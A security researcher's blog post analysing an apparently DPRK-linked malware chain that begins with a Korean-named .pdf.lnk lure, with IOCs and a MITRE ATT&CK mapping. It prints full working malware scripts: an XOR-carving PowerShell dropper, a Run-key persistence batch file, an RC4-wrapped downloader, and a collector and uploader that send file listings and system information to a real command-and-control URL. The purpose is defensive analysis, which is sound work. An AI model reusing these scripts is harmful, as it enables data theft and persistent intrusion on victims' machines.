A Deep Dive Into a Multi-Stage Malware Campaign Potentially Linked to DPRK’s Konni Group
Introduction
I recently came across a ZIP archive containing a suspicious .lnk
file with a Korean filename. That instantly caught my eye. And after digging into it, I realized this wasn’t just some random shortcut it was part of a full-blown multi-stage malware campaign that’s still active.
What’s more intriguing is that the TTPs observed in this campaign bear strong similarities to previous operations linked to DPRK’s Konni APT group.
But who is this Konni APT? The Konni APT group, active since at least 2014 and first exposed by Cisco’s Talos team in 2017, is a North Korean-linked cyberthreat actor. It primarily targets South Korean financial institutions, government, and defense sectors with sophisticated phishing campaigns.
In this blog, I’ll walk through the entire execution flow, unpack file behaviors, and highlight why this operation might be part of a broader DPRK-linked campaign. Attribution is tricky business, but there are several indicators worth calling out.
Stage 0: The ZIP File
- Filename: No clue (just got the SHA256)
- SHA256:
627ee714b1e4f5bd692061e1c29783191f71c10c91f14c632e405fbe57d4dd3b
- File Type: ZIP archive
- File Size: 3.25 MB
- Contents: 제안서.pdf.lnk (LNK File)
- First Seen on VT: April 11, 2025
This ZIP is the bait, hiding a single .lnk
file that’s about to kick off some serious mischief.
Stage 1: LNK File
- LNK Filename: 제안서.pdf.lnk
- Icon: PDF
- File Size: 4.03 MB
- Last Modified Date: April 11, 2025
Unzip the archive, and boom—you get 제안서.pdf.lnk. That Korean word “제안서” means “proposal.” Sneaky, right? This is a classic social engineering starter. The LNK file uses a double .pdf.lnk
extension, PDF file icon and a Korean name to lure non-technical users possibly targeting a Korean-speaking audience.
I ran the LECmd tool to peek at the LNK’s metadata. Check out the screenshot:
- First thing I noticed here is that It also uses
SwShowMinnoactive
, meaning when LNK file is executed it will open as minimized. - The Real Deal: The command-line arguments show what this LNK is actually up to behind the scenes.
Stage 2: PowerShell Payload
Once the .lnk
file is triggered, the obfuscated PowerShell script kicks in. It’s messy at first glance—full of random variable names like $knee
, $fear
, $policy
, $model
, etc. Classic obfuscation strategy: confuse anyone manually inspecting it and dodge basic static detection. Here’s the cleaned-up PS1 code:
/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*.exe ^| findstr /i rshell.exe') do (if exist "%f" (%f "
function sister {
param($title)
$mystery = $title.substring(0,$title.length-4) + ''
return $mystery
}
function trend {
param($suppose)
[System.IO.File]::Delete($suppose)
}
function stir {
param($league,$mirror,$winner,$policy,$basket)
$knee = New-Object System.IO.FileStream($league,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
$knee.Seek($mirror,[System.IO.SeekOrigin]::Begin)
$observe = $winner * 0x01
$model = New-Object byte[] $winner
$smooth = New-Object byte[] $observe
$knee.Read($smooth,0,$observe)
$knee.Close()
$fear = 0
while ($fear -lt $winner) {
$model[$fear] = $smooth[$fear * 0x01] -bxor $policy
$fear++
}
set-content $basket $model -Encoding Byte
}
function room {
param($acquire, $mainly)
expand $acquire -F:* $mainly
}
function would {
$beauty = $env:public + '\' + 'documents'
return $beauty
}
function similar {
param($regulation)
$shot = Split-Path $regulation
return $shot
}
function researcher {
return Get-Location
}
function reality {
return $env:Temp
}
function suicide {
$forth = researcher
$deeply = vision -entrance $forth
if ($deeply.length -eq 0) {
$forth = reality
$deeply = vision -entrance $forth
}
return $deeply
}
function chase {
$house = $env:public + '\' + 'nearby.cab'
return $house
}
function concentration {
$accept = $env:public + '\documents\start.vbs'
return $accept
}
function vision {
param($entrance)
$massive = ''
[System.IO.Directory]::GetFiles($entrance, '*.lnk', [System.IO.SearchOption]::AllDirectories) |
ForEach-Object {
$era = [System.IO.FileInfo]::new($_)
if ($era.Length -eq 0x00412D29) {
$massive = $era.FullName
}
}
return $massive
}
$tone = suicide
$pipe = similar -regulation $tone
$PM = sister -title $tone
stir -league $tone -mirror 0x00001F88 -winner 0x003D7292 -policy 0x71 -basket $PM
& $PM
$advise = chase
stir -league $tone -mirror 0x003D921A -winner 0x00013CCF -policy 0x70 -basket $advise
trend -suppose $tone
$east = would
room -acquire $advise -mainly $east
trend -suppose $advise
$permit = concentration
& $permit
" ) )
What’s It Doing?
The LNK uses cmd.exe
with a /c
switch to run a command and vanish—like a ninja. It’s got this for
loop for rshell.exe
in the PowerShell folder, then runs it with this massive script. Here’s the play-by-play, function by function:
- sister: Chops off the
.lnk
from the file name to make the decoy PDF look legit. - trend: Deletes files to cover tracks (like the LNK itself).
- stir: This is the heavy lifter. It pulls out hidden files (PDF, CAB, VBS) from the LNK, decrypts them with XOR. It’s like the malware’s playing hide-and-seek. (Big thanks to AI tools for helping me wrap my head around this!)
- room: Unpacks a
.cab
archive to a folder. - would: Points to
C:\Users\Public\Documents
for dropping files. - similar: Grabs the parent folder of a file.
- researcher: Gets the current directory.
- reality: Points to the Temp folder.
- suicide: Hunts for the
.lnk
by its exact size, checking the current folder or Temp. - chase: Names the CAB file
C:\Users\Public\nearby.cab
. - concentration: Points to
C:\Users\Public\Documents\start.vbs
. - vision: Scans for a
.lnk
with size0x00412D29
.
The Main Action
- Finds the
.lnk
and its folder, names the decoy PDF. - Carves out the PDF from the LNK (offset
0x1F88
, size0x3D7292
, XOR key0x71
) and opens it. - Pulls out a CAB file (offset
0x3D921A
, size0x13CCF
, XOR key0x70
). - Deletes the LNK to cover tracks.
- Unpacks the CAB to
C:\Users\Public\Documents
. - Deletes the CAB.
- Fires up
start.vbs
.
Quick Recap
.lnk
is the Trojan horse.- Decoy PDF pops up to distract you.
- CAB file sneaks out and unpacks.
- VBS script takes the wheel.
- All evidence gets trashed.
Stage 3: The Decoy PDF (제안서.pdf)
Alright, let’s talk about this decoy PDF that pops up when the LNK runs. It’s called 제안서.pdf (“Proposal” in Korean), and its job is to keep you distracted while the malware does its work in the background.
At first, it looks like a legit proposal from some outfit called JMarketing (https://jmarketing.agency/). But, it’s barely a document. No real text, just a ton of white space and this KakaoTalk Open Chat link (https://open.kakao[.]com/o/ssRLGYoh) plastered across multiple pages. Check out these screenshots:
What’s KakaoTalk?
If you’re not in South Korea, you might not know KakaoTalk. It’s the messaging app there—like WhatsApp or Telegram on steroids. Everyone uses it for texts, calls, photos, you name it. Owned by Kakao Corp, it’s a cultural staple.
What’s This KakaoTalk Link?
That link (https://open.kakao[.]com/o/ssRLGYoh) takes you to a KakaoTalk Open Chat room. Open Chat lets you join public or semi-anonymous chats without sharing your phone number or ID. Super handy for meeting strangers or joining groups—and perfect for stuff like this.
The chat room’s called “네이버 쿠팡 온라인 스토어 전문 마케터”, which means “Naver Coupang Online Store Marketing Professional” in English. Here’s a peek at it:
This PDF is straight-up trickery. Dropping Naver and Coupang in the chat name? That’s no accident. These are South Korea’s tech titans:
- Naver: Their Google, with search, blogs, maps, shopping—everything.
- Coupang: The Amazon of South Korea..
TLDR;
The PDF’s a fake-out, looking like a marketing proposal to keep you busy. That KakaoTalk link, tied to Naver and Coupang, is pure social engineering to pull you deeper into the scam—maybe more malware, maybe data theft. Meanwhile, the real attack’s happening behind the scenes with VBS and batch files.
Stage 4: start.vbs (The Quiet Trigger)
This VBScript, at C:\Users\Public\Documents\start.vbs
, silently moe to the next stage:
set obj = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
set itemObj = obj.Item()
HBKQFDDzINedWTqt = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
itemObj.Document.Application.ShellExecute HBKQFDDzINedWTqt & "\" & "60901024" & ".b" & "at", Null, HBKQFDDzINedWTqt, Null, 0
set obj = Nothing
What’s It Do?
- Open up a
Shell.Explorer
ActiveX object (basically Internet Explorer’s engine). - Grabs the script’s folder path.
- Runs
60901024.bat
quietly (no console window, because of that0
). - Cleans up.
TL;DR: It sneakily kicks off 60901024.bat
without you noticing.
Stage 5: The Batch Files
First Batch Script: 60901024.bat
@echo off
pushd "%~dp0"
if exist "57579534.bat" (
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start.vbs" /f > nul
call 57579534.bat > nul
call 54744204.bat > nul
del /f /q 57579534.bat > nul
)
if not exist "57579534.bat" (
if not exist "upok.txt" (
call 54744204.bat > nul
)
)
if not exist "f.txt" (goto 1)
if exist "f.txt" (goto EXIT)
:1
call 54312804.bat > nul
timeout -t 57 /nobreak
if not exist "f.txt" (goto 1)
if exist "f.txt" (goto EXIT)
:EXIT
del /f /q "f.txt"
- Changes directory to where the script is located.
- If
57579534.bat
exists:- Adds a persistence key to the Windows Registry to auto-run
start.vbs
on startup. - Executes
57579534.bat
and54744204.bat
, then deletes57579534.bat
.
- Adds a persistence key to the Windows Registry to auto-run
- If
57579534.bat
doesn’t exist:- If
upok.txt
also doesn’t exist, it still executes54744204.bat
.
- If
- Enters a loop:
- Keeps calling
54312804.bat
every ~57 seconds untilf.txt
is found. - Once
f.txt
is found, it deletes it and exits.
- Keeps calling
Second Batch Script: 57579534.bat
@echo off
pushd %~dp0
set fn=di3726
call 53452693.bat "https://ausbildungsbuddy.de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100" "%~dp0%fn%.zip" "1" > nul
if not exist %~dp0%fn%.zip (
goto END1
)
set dt=1.bat
if not "%dt%"=="" (
call unzip.exe -o -P "a0" "%~dp0%fn%.zip" > nul
del /f /q %~dp0%fn%.zip > nul
if exist %~dp0%dt% (
call %~dp0%dt% > nul
)
)
:END1
if exist %~dp0%fn%.zip (
del /f /q %~dp0%fn%.zip > nul
)
- Grabs a ZIP file (
di3726.zip
) fromausbildungsbuddy[.]de
. - If it downloads, unzips it with password
a0
, deletes the ZIP, and runs1.bat
. - Cleans up the ZIP no matter what.
The domain https://ausbildungsbuddy[.]de/ is still up.
The domain ausbildungsbuddy[.]de
is associated with a legitimate German initiative called Ausbildungsbuddy, which recognizes and awards companies and students for excellence in vocational training. The website features information about past winners, events, and related content.
However, there are indications that this domain might have been compromised. A recent report from SecAI suggests that ausbildungsbuddy.de
has been used to transmit information from infected hosts, indicating potential malicious activity. Here our attribution gets more stronger.
Third Batch Script: 53452693.bat (The Downloader)
@echo off
pushd %~dp0
set "tgurl=%~1"
set "md12=%~3"
if not "%md12%" == "0" (
powershell -command "function AgDEdztLPwc{param ($sUyjrHhlKLI,$fpmGhyBZVd);$BTAikdYGnq = [System.Text.Encoding]::UTF8.GetBytes($sUyjrHhlKLI); $qsqCcCdIRk = [System.Text.Encoding]::UTF8.GetBytes($fpmGhyBZVd);$cIakGGgWdq = New-Object byte[](256);$yfqibmGyCxfO = New-Object byte[](256);for ($KClwzWzYuUS = 0; $KClwzWzYuUS -lt 256; $KClwzWzYuUS++) {$cIakGGgWdq[$KClwzWzYuUS] = $KClwzWzYuUS;$yfqibmGyCxfO[$KClwzWzYuUS] = $qsqCcCdIRk[$KClwzWzYuUS %% $qsqCcCdIRk.Length];}$BJwZmpumfis = 0;for ($KClwzWzYuUS = 0; $KClwzWzYuUS -lt 256; $KClwzWzYuUS++) {$BJwZmpumfis = ($BJwZmpumfis + $cIakGGgWdq[$KClwzWzYuUS] + $yfqibmGyCxfO[$KClwzWzYuUS]) %% 256;$hfKcPmzfho = $cIakGGgWdq[$KClwzWzYuUS];$cIakGGgWdq[$KClwzWzYuUS] = $cIakGGgWdq[$BJwZmpumfis];$cIakGGgWdq[$BJwZmpumfis] = $hfKcPmzfho;}$emLSkKMjpc = New-Object byte[] $BTAikdYGnq.Length;$KClwzWzYuUS = 0;$BJwZmpumfis = 0;for ($OXyfStRauo = 0; $OXyfStRauo -lt $BTAikdYGnq.Length; $OXyfStRauo++) {$KClwzWzYuUS = ($KClwzWzYuUS + 1) %% 256;$BJwZmpumfis = ($BJwZmpumfis + $cIakGGgWdq[$KClwzWzYuUS]) %% 256;$hfKcPmzfho = $cIakGGgWdq[$KClwzWzYuUS];$cIakGGgWdq[$KClwzWzYuUS] = $cIakGGgWdq[$BJwZmpumfis];$cIakGGgWdq[$BJwZmpumfis] = $hfKcPmzfho;$JCHwkFZRYoU = ($cIakGGgWdq[$KClwzWzYuUS] + $cIakGGgWdq[$BJwZmpumfis]) %% 256;$emLSkKMjpc[$OXyfStRauo] = $BTAikdYGnq[$OXyfStRauo] -bxor $cIakGGgWdq[$JCHwkFZRYoU];}$lRIcClUdCG = [System.Convert]::ToBase64String($emLSkKMjpc);return $lRIcClUdCG;};$EAqsrDUfsMc = '%tgurl%';$wHVNKEIlGGw = '%~2';Add-Type -AssemblyName 'System.Web';$BoMcqUMPpEc=(Get-Date).Ticks.ToString();$fDdXHAKWolqN = $EAqsrDUfsMc.Split('?')[1];$jeGSnWlkwbSC = AgDEdztLPwc -sUyjrHhlKLI $fDdXHAKWolqN -fpmGhyBZVd $BoMcqUMPpEc;$EAqsrDUfsMc=$EAqsrDUfsMc.Split('?')[0]+'?'+$BoMcqUMPpEc+'='+[System.Web.HttpUtility]::UrlEncode($jeGSnWlkwbSC);iwr -Uri $EAqsrDUfsMc -OutFile $wHVNKEIlGGw;" > nul
)else (
powershell -command "$url1 = '%tgurl%';$outfile = '%~2';iwr -Uri $url1 -OutFile $outfile;" > nul
)
This batch script uses PowerShell for decryption and downloading.
This downloads a file from a specified URL. If the file is encrypted, it decrypts it using a custom algorithm (RC4-like with a timestamp as the key) and then saves it. If the file is not encrypted, it simply downloads and saves it.
In most simple term its a wrapper for a downloader.
Fourth Batch Script: 54744204.bat (The Data Thief)
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4.txt
timeout -t 5 /nobreak
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d2.txt" "%COMPUTERNAME%_docu.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 33283112.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/upload.php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul
This one straight-up perform data exfiltration.
-
pushd "%~dp0"
→ Sets working dir to where the script is located.
-
dir ... > dX.txt
→ Dumps directory listings to files:
d1.txt
→ Lists everything in Downloadsd2.txt
→ Lists everything in Documentsd3.txt
→ Lists everything on Desktop
-
systeminfo > d4.txt
→ Captures full system info (OS, CPU, RAM, etc.)
-
timeout -t 5 /nobreak
→ Pauses for 5 seconds (maybe for things to complete).
-
call 33283112.bat ...
→ Uses a helper script (
33283112.bat
) as a file uploader to uploads eachdX.txt
file to a PHP upload endpoint hosted at:ausbildungsbuddy[.]de/modules/mod_mail/src/upload.php
Fifth Batch Script: 33283112.bat (The Uploader)
@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function dqjQqCAcuxwo{param ($AypZvQNXlqB,$oFoEuXrMFE);$OpsMmFLPLhtK = [System.Text.Encoding]::UTF8.GetBytes($AypZvQNXlqB); $WTCOeBCxKCA = [System.Text.Encoding]::UTF8.GetBytes($oFoEuXrMFE);$exkQgtSevvHH = New-Object byte[](256);$aFHiHiPvSyCj = New-Object byte[](256);for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$exkQgtSevvHH[$IwMAnTWddEw] = $IwMAnTWddEw;$aFHiHiPvSyCj[$IwMAnTWddEw] = $WTCOeBCxKCA[$IwMAnTWddEw %% $WTCOeBCxKCA.Length];}$zTrCGqDmezfE = 0;for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw] + $aFHiHiPvSyCj[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;}$iFUDhaIUWPC = New-Object byte[] $OpsMmFLPLhtK.Length;$IwMAnTWddEw = 0;$zTrCGqDmezfE = 0;for ($ZBwUQRSnvRO = 0; $ZBwUQRSnvRO -lt $OpsMmFLPLhtK.Length; $ZBwUQRSnvRO++) {$IwMAnTWddEw = ($IwMAnTWddEw + 1) %% 256;$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;$WVKnqgCFOsmZ = ($exkQgtSevvHH[$IwMAnTWddEw] + $exkQgtSevvHH[$zTrCGqDmezfE]) %% 256;$iFUDhaIUWPC[$ZBwUQRSnvRO] = $OpsMmFLPLhtK[$ZBwUQRSnvRO] -bxor $exkQgtSevvHH[$WVKnqgCFOsmZ];}$yJmaZfkmCsIK = [System.Convert]::ToBase64String($iFUDhaIUWPC);return $yJmaZfkmCsIK;};$bWcJabpQCOOF=(Get-Date).Ticks.ToString();$JbCLXcveMq='%tgurl12%';$lXbJSrwCOBN='%~3';$aRmxzjRXbQEn='%~dp0%~2';$ldbmjzEjszem=gc -Path $aRmxzjRXbQEn -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$lXbJSrwCOBN=dqjQqCAcuxwo -AypZvQNXlqB $lXbJSrwCOBN -oFoEuXrMFE $bWcJabpQCOOF;$ldbmjzEjszem=dqjQqCAcuxwo -AypZvQNXlqB $ldbmjzEjszem -oFoEuXrMFE $bWcJabpQCOOF;$mkgEkQZnuGV = [System.Web.HttpUtility]::ParseQueryString('');$mkgEkQZnuGV['%fN12%']=$lXbJSrwCOBN;$mkgEkQZnuGV['%fD12%']=$ldbmjzEjszem;$mkgEkQZnuGV['r']=$bWcJabpQCOOF;$EYHCSDhekYzP=$mkgEkQZnuGV.ToString();$FLuapLlREN=[System.Text.Encoding]::UTF8.GetBytes($EYHCSDhekYzP);$AUkaAFoqKP=[System.Net.WebRequest]::Create($JbCLXcveMq);$AUkaAFoqKP.Method='PO'+'ST';$AUkaAFoqKP.ContentType='appl'+'ic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'le'+'nco'+'ded';$AUkaAFoqKP.UserAgent = 'Moz'+'illa/5'+'.0 (Wi'+'ndows N'+'T 10.0;Wi'+'n64;x64)';$AUkaAFoqKP.ContentLength=$FLuapLlREN.Length;$KcSSLPNfvFL = $AUkaAFoqKP.GetRequestStream();$KcSSLPNfvFL.Write($FLuapLlREN,0,$FLuapLlREN.Length);$KcSSLPNfvFL.Close();$OUeDTggoYiM=$AUkaAFoqKP.GetResponse();if($OUeDTggoYiM.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $aRmxzjRXbQEn;$ucBwEXJQluYC='%~dp0up'+'o'+'k.t'+'xt';New-Item -ItemType File -Path $ucBwEXJQluYC;}" > nul
It uses RC4 encryption + Base64 encoding → wraps the data in x-www-form-urlencoded
format → then sends it via a fake browser-like POST request to a malicious PHP endpoint.
- Inputs & Setup:
- Takes a target URL, filename, and encryption key from command-line arguments.
- Loads the content of the file to exfiltrate (
%~dp0%~2
).
- Encryption Function (RC4):
- A full-on RC4-like encryption function (
dqjQqCAcuxwo
) is declared. - File content and the filename/key are encrypted using a dynamic key (timestamp-based).
- A full-on RC4-like encryption function (
- Data Packaging:
- Uses
.NET Web
andHttpUtility
to URL-encode the encrypted filename + file content + timestamp.
- Uses
- Fake Legit Traffic:
- Sets headers like
User-Agent
to mimic Firefox/Chrome on Windows. - Uses a POST request with
application/x-www-form-urlencoded
content-type to hide in normal web traffic.
- Sets headers like
- Exfiltration:
- Sends the encrypted payload to the C2 URL using
WebRequest
.
- Sends the encrypted payload to the C2 URL using
- Cleanup:
- Deletes the original file after exfil.
- Creates a dummy file (
upok.txt
) to mark completion.
Sixth Batch Script: 54312804.bat
@echo off
pushd %~dp0
if exist "temprun.bat" (
del /f /q temprun.bat
)
call 53452693.bat "https://ausbildungsbuddy.de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt" "%~dp0XZJln.cab" "1" > nul
expand XZJln.cab -F:* %~dp0 > nul
del /f /q XZJln.cab > nul
call temprun.bat > nul
- Navigates to the script’s directory:
pushd %~dp0
ensures the script runs in its own directory.
- Checks if
temprun.bat
exists and deletes it:if exist "temprun.bat" ( del /f /q temprun.bat )
removes any previous instance of thetemprun.bat
script to ensure a clean run.
- Downloads a file:
call 53452693.bat "https://ausbildungsbuddy[.]de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt" "%~dp0XZJln.cab" "1" > nul
calls53452693.bat
(This batch file is the a wrapper for a downloader, that we had looked ealier) ,this likely downloads a.cab
archive (XZJln.cab) from a remote URL, appending the machine’s name in the query parameter (%COMPUTERNAME%
).
- Extracts the
.cab
file:expand XZJln.cab -F:* %~dp0 > nul
extracts all files from the downloaded.cab
file to the script’s directory.
- Deletes the
.cab
file:del /f /q XZJln.cab > nul
removes the downloaded.cab
file after extraction.
- Executes
temprun.bat
:
Seventh Batch Script: temprun.bat (Another Uploader)
@echo off
pushd %~dp0
set "tgurl12=%~1"
set fN12=fn
set fD12=fd
powershell -command "function dqjQqCAcuxwo{param ($AypZvQNXlqB,$oFoEuXrMFE);$OpsMmFLPLhtK = [System.Text.Encoding]::UTF8.GetBytes($AypZvQNXlqB); $WTCOeBCxKCA = [System.Text.Encoding]::UTF8.GetBytes($oFoEuXrMFE);$exkQgtSevvHH = New-Object byte[](256);$aFHiHiPvSyCj = New-Object byte[](256);for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$exkQgtSevvHH[$IwMAnTWddEw] = $IwMAnTWddEw;$aFHiHiPvSyCj[$IwMAnTWddEw] = $WTCOeBCxKCA[$IwMAnTWddEw %% $WTCOeBCxKCA.Length];}$zTrCGqDmezfE = 0;for ($IwMAnTWddEw = 0; $IwMAnTWddEw -lt 256; $IwMAnTWddEw++) {$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw] + $aFHiHiPvSyCj[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;}$iFUDhaIUWPC = New-Object byte[] $OpsMmFLPLhtK.Length;$IwMAnTWddEw = 0;$zTrCGqDmezfE = 0;for ($ZBwUQRSnvRO = 0; $ZBwUQRSnvRO -lt $OpsMmFLPLhtK.Length; $ZBwUQRSnvRO++) {$IwMAnTWddEw = ($IwMAnTWddEw + 1) %% 256;$zTrCGqDmezfE = ($zTrCGqDmezfE + $exkQgtSevvHH[$IwMAnTWddEw]) %% 256;$zUGqmBHCJGBv = $exkQgtSevvHH[$IwMAnTWddEw];$exkQgtSevvHH[$IwMAnTWddEw] = $exkQgtSevvHH[$zTrCGqDmezfE];$exkQgtSevvHH[$zTrCGqDmezfE] = $zUGqmBHCJGBv;$WVKnqgCFOsmZ = ($exkQgtSevvHH[$IwMAnTWddEw] + $exkQgtSevvHH[$zTrCGqDmezfE]) %% 256;$iFUDhaIUWPC[$ZBwUQRSnvRO] = $OpsMmFLPLhtK[$ZBwUQRSnvRO] -bxor $exkQgtSevvHH[$WVKnqgCFOsmZ];}$yJmaZfkmCsIK = [System.Convert]::ToBase64String($iFUDhaIUWPC);return $yJmaZfkmCsIK;};$bWcJabpQCOOF=(Get-Date).Ticks.ToString();$JbCLXcveMq='%tgurl12%';$lXbJSrwCOBN='%~3';$aRmxzjRXbQEn='%~dp0%~2';$ldbmjzEjszem=gc -Path $aRmxzjRXbQEn -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$lXbJSrwCOBN=dqjQqCAcuxwo -AypZvQNXlqB $lXbJSrwCOBN -oFoEuXrMFE $bWcJabpQCOOF;$ldbmjzEjszem=dqjQqCAcuxwo -AypZvQNXlqB $ldbmjzEjszem -oFoEuXrMFE $bWcJabpQCOOF;$mkgEkQZnuGV = [System.Web.HttpUtility]::ParseQueryString('');$mkgEkQZnuGV['%fN12%']=$lXbJSrwCOBN;$mkgEkQZnuGV['%fD12%']=$ldbmjzEjszem;$mkgEkQZnuGV['r']=$bWcJabpQCOOF;$EYHCSDhekYzP=$mkgEkQZnuGV.ToString();$FLuapLlREN=[System.Text.Encoding]::UTF8.GetBytes($EYHCSDhekYzP);$AUkaAFoqKP=[System.Net.WebRequest]::Create($JbCLXcveMq);$AUkaAFoqKP.Method='PO'+'ST';$AUkaAFoqKP.ContentType='appl'+'ic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'le'+'nco'+'ded';$AUkaAFoqKP.UserAgent = 'Moz'+'illa/5'+'.0 (Wi'+'ndows N'+'T 10.0;Wi'+'n64;x64)';$AUkaAFoqKP.ContentLength=$FLuapLlREN.Length;$KcSSLPNfvFL = $AUkaAFoqKP.GetRequestStream();$KcSSLPNfvFL.Write($FLuapLlREN,0,$FLuapLlREN.Length);$KcSSLPNfvFL.Close();$OUeDTggoYiM=$AUkaAFoqKP.GetResponse();if($OUeDTggoYiM.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $aRmxzjRXbQEn;$ucBwEXJQluYC='%~dp0up'+'o'+'k.t'+'xt';New-Item -ItemType File -Path $ucBwEXJQluYC;}" > nul
This one’s probably running more payloads from the CAB or uploading extra data. It’s another uploader, same vibe as 33283112.bat
. Can you believe how many layers this thing has?
Infection Flowchart
Indicators of Compromise (IOCs)
Type | Indicator | Description |
---|---|---|
File Hash (SHA256) | 627ee714b1e4f5bd692061e1c29783191f71c10c91f14c632e405fbe57d4dd3b | ZIP archive with malicious LNK. |
Filename | 제안서.pdf.lnk | Malicious LNK with Korean name and PDF icon. |
Filename | nearby.cab, start.vbs, 60901024.bat, 57579534.bat, 54744204.bat, 53452693.bat, 33283112.bat, 54312804.bat, XZJln.cab, temprun.bat | Dropped files in infection chain. |
URL | https://ausbildungsbuddy[.]de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100 | Downloads malicious ZIP (di3726.zip). |
URL | https://ausbildungsbuddy[.]de/modules/mod_mail/src/upload.php | C2 endpoint for data exfiltration. |
URL | https://ausbildungsbuddy[.]de/modules/mod_mail/src/list.php?f=%COMPUTERNAME%.txt | Downloads CAB archive (XZJln.cab). |
URL | https://open.kakao[.]com/o/ssRLGYoh | KakaoTalk Open Chat link in decoy PDF. |
Registry Key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\startsvc1 | Persistence key for start.vbs. |
File Path | C:\Users\Public\Documents\start.vbs, C:\Users\Public\nearby.cab, C:\Users\Public\Documents*.bat | Dropped payload locations. |
File | d1.txt, d2.txt, d3.txt, d4.txt, upok.txt, f.txt | Temporary files for data collection/execution markers. |
MITRE ATT&CK TTPs
The campaign aligns with several MITRE ATT&CK techniques, reflecting Konni APT’s sophisticated tactics:
Tactic | Technique | Description |
---|---|---|
Initial Access | T1566.001 - Phishing: Spearphishing Attachment | ZIP file with malicious LNK disguised as a Korean proposal PDF. |
Execution | T1059.001 - Command and Scripting Interpreter: PowerShell | Obfuscated PowerShell script executes payloads from LNK file. |
T1059.003 - Command and Scripting Interpreter: Windows Command Shell | Batch scripts (e.g., 60901024.bat) orchestrate execution flow. | |
T1059.005 - Command and Scripting Interpreter: Visual Basic | VBS script (start.vbs) executes batch files silently via ShellExecute. | |
Persistence | T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys | start.vbs added to HKCU\Software\Microsoft\Windows\CurrentVersion\Run. |
Defense Evasion | T1027 - Obfuscated Files or Information | PowerShell uses random variable names (e.g., $knee, $fear) for obfuscation. |
T1070.004 - Indicator Removal: File Deletion | Deletes LNK, CAB, and temporary files (e.g., trend function, batch cleanup). | |
T1140 - Deobfuscate/Decode Files or Information | XOR decryption in PowerShell (stir function) extracts PDF, CAB, and VBS. | |
Command and Control | T1071.001 - Application Layer Protocol: Web Protocols | HTTPS POST requests to C2 (ausbildungsbuddy.de) for data exfiltration. |
T1573.001 - Encrypted Channel: Symmetric Cryptography | RC4-like encryption for C2 communication (dqjQqCAcuxwo function). | |
Collection | T1005 - Data from Local System | Collects directory listings (Downloads, Documents, Desktop) and system info. |
Exfiltration | T1041 - Exfiltration Over C2 Channel | Uploads collected data to C2 via encrypted POST requests (33283112.bat). |
Attribution Clues — Why This Campaign Screams DPRK
Let’s be clear: I don’t want to throw around attribution without solid backing, but if you’ve been tracking DPRK APTs, this one should hit home. When it comes to TTPs, this campaign is practically a checklist of what we see from Konni APT. Here’s the breakdown:
Social Engineering Lures: A Classic Konni APT Move
- Korean-language filenames like
제안서
(“Proposal”)—yeah, that’s not just a random choice. It’s the kind of social engineering move that Konni APT is known for. The LNK file uses a double.pdf.lnk
extension, looks like a PDF with a familiar icon, and is loaded with a Korean name. It’s a deceptive way to lure non-technical users, playing off familiarity. Konni APT’s signature move, for sure. - The decoy PDF is a Korean proposal for a marketing company. It’s realistic enough to seem legitimate, but we all know this is the Trojan horse. Konni APT tends to target professional environments, and this “marketing proposal” theme is a perfect fit for their playbook.
- Here’s the kicker: Embedded KakaoTalk link. The file includes a link to a live chat with a message that says, “네이버 쿠팡 온라인 스토어 전문 마케터” (Naver Coupang Online Store Marketing Professional). Why does it matter? Naver, Coupang, and Kakao are household names in South Korea. These apps are so widely used that any local would recognize them.
